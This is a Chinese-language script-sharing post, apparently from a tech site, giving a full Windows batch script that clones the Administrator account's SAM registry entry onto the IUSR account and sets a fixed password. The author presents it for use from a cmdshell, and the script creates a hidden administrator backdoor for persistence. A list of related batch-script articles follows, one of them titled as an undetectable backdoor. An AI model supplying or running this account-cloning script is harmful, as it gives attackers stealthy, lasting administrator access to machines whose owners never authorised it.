windows 復(fù)制隱藏帳號(hào)完全批處理
更新時(shí)間：2009年09月30日 12:19:18 作者：
其實(shí)就是注冊(cè)表里復(fù)制管理員權(quán)限到普通用戶那個(gè)操作,不過(guò)畢竟批處理容易在cmdshell里實(shí)現(xiàn)，貼出來(lái)吧。
復(fù)制代碼 代碼如下:
echo off
setlocal enabledelayedexpansion
echo %computername%
echo HKEY_LOCAL_MACHINE\SAM\SAM [1 17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%
rem unicode ->ascii
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem find IUSR_%computername% 的對(duì)應(yīng)id
for /F "delims=( tokens=1-5* skip=3" %%a in (%windir%\..\2.reg) do set iusr_id=%%b
del /q "%windir%\..\2.reg"
rem export administrator register
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem replace 1fx->iusr_id
for /f "tokens=* delims=:" %%i in (%windir%\..\2.reg) do (
for /f "tokens=*" %%j in ("%%i") do (
set TMP=%%j
set "TMP=!TMP:000001F4=00000%iusr_id:~0,3%!"
echo !TMP!>>%windir%\..\1.reg
)
)
regedit /s %windir%\..\1.reg
del /q %windir%\..\1.reg
del /q %windir%\..\2.reg
echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
del /q "%windir%\..\1.reg"
net user IUSR_%computername% 12345678
克隆出來(lái)的用戶名是固定的,隨便變換的話要改代碼
相關(guān)文章
這篇文章主要介紹了批處理之新窗口執(zhí)行命令的相關(guān)知識(shí)，包括控制新打開窗口大小和手動(dòng)設(shè)置標(biāo)題的腳本寫法，本文給大家介紹的非常詳細(xì),需要的朋友可以參考下2022-04-04
，由于單位需要配固定IP地址，而家里是自動(dòng)獲得IP地址的，所以每天都要對(duì)這個(gè)IP地址設(shè)置來(lái)設(shè)置去，下面教大家個(gè)小技巧通過(guò)批處理切換IP地址，方便、快捷2013-11-11
批處理(Batch)，也稱為批處理腳本。顧名思義，批處理就是對(duì)某對(duì)象進(jìn)行批量的處理，通常被認(rèn)為是一種簡(jiǎn)化的腳本語(yǔ)言，它應(yīng)用于DOS和Windows系統(tǒng)中。2019-02-02
這篇文章主要介紹了windows?dos命令解除端口占用,通過(guò)DOS命令查看端口占用及使用情況，本文給大家介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2022-07-07
用批處理寫的永不被殺的后門...2007-05-05
利用netstat命令找出使用TCP協(xié)議通信的端口，并將結(jié)果分割； 將第二個(gè)參數(shù)(IP加端口)傳給%%i，第五個(gè)參數(shù)(PID號(hào))傳給%%j;2009-06-06
我們都知道if是命令行下的一個(gè)條件判斷語(yǔ)句，ERRORLEVEL是它的一個(gè)參數(shù)，翻譯過(guò)來(lái)就是“錯(cuò)誤返回碼”的意思，它的作用是判斷前一條命令的錯(cuò)誤返回值，然后和定義的字符值進(jìn)行比較，再?zèng)Q定進(jìn)行什么動(dòng)作2007-03-03
批處理（dos/bat）最完整人性化教程...2007-05-05
自制控制進(jìn)程和控制開機(jī)啟動(dòng)項(xiàng)批處理(ntsd強(qiáng)制結(jié)束版)
這篇文章主要介紹了自制控制進(jìn)程和控制開機(jī)啟動(dòng)項(xiàng)批處理,需要的朋友可以參考下2014-05-05
經(jīng)常維護(hù)服務(wù)器，由于mssql數(shù)據(jù)庫(kù)經(jīng)常會(huì)占用大量?jī)?nèi)存，所以我查找資料寫了如下代碼，方便自己也利于別人使用，都是直接從服務(wù)器上直接拿來(lái)的2008-02-02